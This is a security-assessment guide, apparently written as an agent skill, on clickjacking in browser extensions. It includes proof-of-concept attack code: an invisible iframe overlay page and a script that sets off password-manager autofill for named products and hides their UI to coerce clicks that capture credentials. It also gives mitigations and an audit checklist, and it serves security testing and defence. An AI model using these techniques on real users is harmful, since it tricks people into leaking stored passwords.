Browser Extension Clickjacking Analysis
A skill for identifying and exploiting clickjacking vulnerabilities in browser extensions during security assessments.
When to Use This Skill
Use this skill when:
- Auditing browser extensions for security vulnerabilities
- Reviewing
manifest.jsonfiles for misconfigurations - Testing
web_accessible_resourcesexposure - Investigating extension-based attack vectors
- Analyzing password manager or autofill extension security
- Performing browser extension penetration testing
Core Concepts
What is Extension Clickjacking?
Extension clickjacking abuses misconfigured web_accessible_resources to embed privileged extension UI in iframes on attacker-controlled pages. Users are tricked into clicking hidden extension controls, performing unintended actions with the extension's elevated privileges.
The Vulnerability Chain
- Extension declares resources in
web_accessible_resources - Resources become accessible via
chrome-extension://[ID]/[PATH] - Attacker embeds these resources in iframes on malicious pages
- User clicks on overlayed UI, triggering hidden extension actions
- Privileged operations execute without user awareness
Attack Methodologies
Method 1: Classic web_accessible_resources Clickjacking
What to look for:
- HTML files in
web_accessible_resources(especially*.html,popup.html,skin/*) - JavaScript files with UI manipulation capabilities
- Resources that can change extension state
Detection steps:
Extract and review
manifest.json:unzip -p extension.crx manifest.json | jq . # or for unpacked extensions: cat extension/manifest.json | jq .Identify risky
web_accessible_resourcesentries:"skin/*"- often contains HTML UI"icons/*"- usually safe but verify"*.html"- high risk if interactive"popup.html"- critical risk"inpage.js"- medium risk
Test accessibility:
<iframe src="chrome-extension://[EXTENSION_ID]/[RESOURCE_PATH]" style="opacity:0.01; position:absolute;"></iframe>Attempt to trigger actions by overlaying clickable elements
Method 2: DOM-based Extension Clickjacking
Targets password manager autofill UIs injected directly into page DOM.
Attack flow:
- Inject invisible but focusable form fields
- Focus input to trigger extension's autofill dropdown
- Hide/occlude extension UI while keeping it clickable
- Align believable control under hidden dropdown
- Coerce click to select stored credential
- Exfiltrate filled values
Detection techniques:
// Check for extension-injected elements
const extensionElements = Array.from(document.querySelectorAll('*'))
.filter(el => {
const tag = el.tagName.toLowerCase();
return tag.includes('pass') || tag.includes('auth') || tag.includes('vault');
});
// Check for shadow DOM roots
const shadowRoots = Array.from(document.querySelectorAll('*'))
.filter(el => el.shadowRoot);
// Monitor for opacity/style tampering
const observer = new MutationObserver((mutations) => {
mutations.forEach(mutation => {
if (mutation.type === 'attributes' &&
(mutation.attributeName === 'style' || mutation.attributeName === 'class')) {
console.log('Style change detected:', mutation.target);
}
});
});
Practical Exploitation
Step 1: Enumerate Extension Resources
# Extract extension from CRX
python3 -c "
import zipfile
import json
with zipfile.ZipFile('extension.crx', 'r') as crx:
manifest = json.loads(crx.read('manifest.json'))
print('Extension ID:', manifest.get('name'))
print('Version:', manifest.get('version'))
print('Permissions:', manifest.get('permissions', []))
print('Web Accessible Resources:', manifest.get('web_accessible_resources', []))
"
Step 2: Identify Extension ID
// In browser console
chrome.management.getAll((extensions) => {
extensions.forEach(ext => {
console.log(`${ext.name}: ${ext.id}`);
});
});
Step 3: Build Clickjacking Test Page
<!DOCTYPE html>
<html>
<head>
<style>
.overlay {
position: absolute;
top: 100px;
left: 100px;
z-index: 9999;
}
.hidden-iframe {
position: absolute;
top: 100px;
left: 100px;
opacity: 0.01;
pointer-events: none;
}
.bait-button {
position: absolute;
top: 168px;
left: 100px;
padding: 10px 20px;
background: #007bff;
color: white;
border: none;
cursor: pointer;
}
</style>
</head>
<body>
<h1>Click the button below</h1>
<div class="overlay">
<button class="bait-button">Click Me</button>
</div>
<iframe class="hidden-iframe"
src="chrome-extension://[EXTENSION_ID]/[RESOURCE_PATH]"
width="430" height="300"></iframe>
</body>
</html>
Step 4: Test DOM-based Autofill Clickjacking
// Create hidden form to trigger autofill
function createHiddenForm() {
const form = document.createElement('form');
form.id = 'hidden-form';
form.style.cssText = 'opacity:0.001; position:absolute; top:-1000px;';
const input = document.createElement('input');
input.type = 'text';
input.id = 'username';
input.name = 'username';
input.autocomplete = 'username';
form.appendChild(input);
document.body.appendChild(form);
// Focus to trigger dropdown
setTimeout(() => input.focus(), 500);
// Monitor for autofill
input.addEventListener('input', (e) => {
console.log('Autofill detected:', e.target.value);
});
}
// Hide extension UI while keeping clickable
function hideExtensionUI() {
// Try generic selector
const root = document.querySelector('protonpass-root, bitwarden-root, lastpass-root');
if (root) {
root.style.opacity = '0';
root.style.pointerEvents = 'auto';
}
// Try shadow DOM
Array.from(document.querySelectorAll('*'))
.forEach(el => {
if (el.shadowRoot) {
const iframe = el.shadowRoot.querySelector('iframe');
if (iframe) {
iframe.style.cssText += 'opacity:0 !important;';
}
}
});
}
Common Vulnerable Patterns
High-Risk web_accessible_resources
| Pattern | Risk | Example Impact |
|---|---|---|
"skin/*" |
Critical | PrivacyBadger disable button |
"*.html" |
Critical | Any HTML UI exposure |
"popup.html" |
Critical | Extension popup actions |
"inpage.js" |
High | DOM manipulation |
"phishing.html" |
Critical | Whitelist bypass |
"icons/*" |
Low | Usually safe |
"*.css" |
Low | Usually safe |
Known Vulnerable Extensions (Historical)
- PrivacyBadger:
skin/*exposed popup.html - Metamask:
inpage.js,phishing.htmlexposed - Steam Inventory Helper: XSS + Clickjacking chain
Mitigation Recommendations
For Extension Developers
Minimize web_accessible_resources
// Bad "web_accessible_resources": ["*/*"] // Good "web_accessible_resources": [ { "resources": ["icons/*.png"], "matches": ["<all_urls>"] } ]Use frame-ancestors CSP
"web_accessible_resources": [ { "resources": ["popup.html"], "matches": ["<all_urls>"], "use_dynamic_url": true } ]Serve with:
Content-Security-Policy: frame-ancestors 'none'Render in Top Layer
- Use Popover API for autofill UI
- Ensure UI sits above page stacking context
Detect Hostile Overlays
function detectOcclusion(element) { const rect = element.getBoundingClientRect(); const testElement = document.createElement('div'); testElement.style.cssText = 'position:absolute; pointer-events:none;'; testElement.style.top = rect.top + 'px'; testElement.style.left = rect.left + 'px'; document.body.appendChild(testElement); const elements = document.elementsFromPoint(rect.left + 10, rect.top + 10); document.body.removeChild(testElement); return !elements.includes(element); }Monitor Style Tampering
const observer = new MutationObserver((mutations) => { mutations.forEach(m => { if (m.type === 'attributes' && m.attributeName === 'style') { console.warn('Style tampering detected'); // Close UI or alert user } }); }); observer.observe(document.documentElement, { attributes: true });
For Security Auditors
- Always review
manifest.jsonforweb_accessible_resources - Test each exposed resource for iframe embedding
- Check for HTML/JS resources that can change state
- Test password manager extensions for DOM-based clickjacking
- Verify CSP headers on exposed resources
- Check for proper
X-Frame-Optionsheaders
Testing Checklist
- Extract and review
manifest.json - Identify all
web_accessible_resourcesentries - Test each resource for iframe accessibility
- Check for HTML files in exposed resources
- Test for state-changing functionality
- Verify CSP and X-Frame-Options headers
- Test password manager autofill for DOM clickjacking
- Check for shadow DOM exposure
- Monitor for style tampering resistance
- Document findings with PoC code